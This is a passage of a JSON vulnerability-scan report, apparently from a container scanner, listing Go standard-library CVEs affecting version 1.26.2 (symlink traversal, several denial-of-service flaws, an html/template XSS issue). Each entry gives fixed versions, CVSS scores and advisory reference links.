"https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-39822", "VendorIDs": [ "GO-2026-4970" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.12, 1.26.5, 1.27.0-rc.2", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39822", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:7b8867bd120d2c04875a7caab9e86bf869c4ddd45e407d465a9642c19f3e3981", "Title": "golang: Go os.Root: Symlink following vulnerability allows directory traversal", "Description": "On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open(\"symlink/\")' will open \"symlink\" even when \"symlink\" is a symbolic link pointing outside of the root.", "Severity": "HIGH", "CweIDs": [ "CWE-61" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:38878", "https://access.redhat.com/security/cve/CVE-2026-39822", "https://bugzilla.redhat.com/2498152", "https://bugzilla.redhat.com/show_bug.cgi?id=2498152", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822", "https://errata.almalinux.org/9/ALSA-2026-38878.html", "https://errata.rockylinux.org/RLSA-2026:38878", "https://github.com/golang/go/issues/79005", "https://go.dev/cl/797880", "https://go.dev/issue/79005", "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc", "https://linux.oracle.com/cve/CVE-2026-39822.html", "https://linux.oracle.com/errata/ELSA-2026-38995.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39822", "https://pkg.go.dev/vuln/GO-2026-4970", "https://www.cve.org/CVERecord?id=CVE-2026-39822" ], "PublishedDate": "2026-07-08T17:17:21.31Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-39836", "VendorIDs": [ "GO-2026-4971" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39836", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:8e41984accd6d2ca5c10b1874e8a99b2c60f4199ab410718e0dc24e2b736a886", "Title": "net: golang: Go net package: Denial of Service via NUL byte in Dial and LookupPort on Windows", "Description": "The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/security/cve/CVE-2026-39836", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://go.dev/cl/775320", "https://go.dev/issue/79006", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-39836.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39836", "https://pkg.go.dev/vuln/GO-2026-4971", "https://www.cve.org/CVERecord?id=CVE-2026-39836" ], "PublishedDate": "2026-05-07T20:16:43.593Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-42499", "VendorIDs": [ "GO-2026-4977" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42499", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:f1d1cd04ed17fd094056d478d079483a88f17784d28cd45eed9cc77abc4ac82f", "Title": "net/mail: golang: net/mail: Denial of Service via pathological email address parsing", "Description": "Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.", "Severity": "HIGH", "CweIDs": [ "CWE-1046" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:17713", "https://access.redhat.com/errata/RHSA-2026:17714", "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36754", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54555", "https://access.redhat.com/errata/RHSA-2026:54583", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57487", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:57914", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59830", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:62406", "https://access.redhat.com/errata/RHSA-2026:62407", "https://access.redhat.com/errata/RHSA-2026:62753", "https://access.redhat.com/errata/RHSA-2026:62754", "https://access.redhat.com/errata/RHSA-2026:62803", "https://access.redhat.com/errata/RHSA-2026:63022", "https://access.redhat.com/errata/RHSA-2026:63163", "https://access.redhat.com/errata/RHSA-2026:63332", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:64818", "https://access.redhat.com/errata/RHSA-2026:65116", "https://access.redhat.com/errata/RHSA-2026:65117", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65335", "https://access.redhat.com/errata/RHSA-2026:65336", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65838", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:65895", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66327", "https://access.redhat.com/errata/RHSA-2026:67148", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:67974", "https://access.redhat.com/errata/RHSA-2026:67975", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:68527", "https://access.redhat.com/security/cve/CVE-2026-42499", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/771520", "https://go.dev/issue/78987", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-42499.html", "https://linux.oracle.com/errata/ELSA-2026-70201.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42499", "https://pkg.go.dev/vuln/GO-2026-4977", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42499.json", "https://www.cve.org/CVERecord?id=CVE-2026-42499" ], "PublishedDate": "2026-05-07T20:16:44.54Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-42504", "VendorIDs": [ "GO-2026-5038" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42504", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:a0c10160286fb882282717c901594ffa56df4a406cf4b274dbc61016babcebaa", "Title": "mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header", "Description": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/security/cve/CVE-2026-42504", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/774481", "https://go.dev/issue/79217", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-42504.html", "https://linux.oracle.com/errata/ELSA-2026-69308.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42504", "https://pkg.go.dev/vuln/GO-2026-5038", "https://www.cve.org/CVERecord?id=CVE-2026-42504" ], "PublishedDate": "2026-06-02T23:16:37.927Z", "LastModifiedDate": "2026-07-22T19:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-46600", "VendorIDs": [ "GO-2026-5942" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46600", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:855cddccefc8bdd1d5aaafa91d26103582110e95afdb99e4d01535bb983e88fa", "Title": "golang.org/x/net/dns/dnsmessage: golang.org/x/net/dns/dnsmessage: Denial of Service via invalid DNS record parsing", "Description": "Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "bitnami": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46600", "https://go.dev/cl/786345", "https://go.dev/issue/79795", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46600", "https://pkg.go.dev/vuln/GO-2026-5942", "https://www.cve.org/CVERecord?id=CVE-2026-46600" ], "PublishedDate": "2026-07-21T20:17:01.213Z", "LastModifiedDate": "2026-10-24T19:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-56853", "VendorIDs": [ "GO-2026-6089" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56853", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:5c6756479b2870a8c18046660aeb639c76ec0ec3366511386eebacbb72bc904a", "Title": "net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service", "Description": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56853", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/795540", "https://go.dev/issue/80205", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56853.html", "https://linux.oracle.com/errata/ELSA-2026-89752.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56853", "https://pkg.go.dev/vuln/GO-2026-6089", "https://www.cve.org/CVERecord?id=CVE-2026-56853" ], "PublishedDate": "2026-08-13T22:17:22.093Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56858", "VendorIDs": [ "GO-2026-6091" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56858", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ea5e226d6ada3da84613ef30462f9cf89f4825ebb9ed3b1e9e4e409264597fd3", "Title": "html/template: golang: Go html/template: Cross-Site Scripting via pathological input", "Description": "Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.", "Severity": "HIGH", "CweIDs": [ "CWE-79" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "V3Score": 6.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-56858", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://go.dev/cl/807100", "https://go.dev/issue/80435", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-56858.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56858", "https://pkg.go.dev/vuln/GO-2026-6091", "https://www.cve.org/CVERecord?id=CVE-2026-56858" ], "PublishedDate": "2026-08-13T22:17:22.207Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-56859", "VendorIDs": [ "GO-2026-6088" ], "PkgID": "stdlib@v1.26.2", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.2", "UID": "83c42d84cdb2ccfe" }, "InstalledVersion": "v1.26.2", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56859", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": 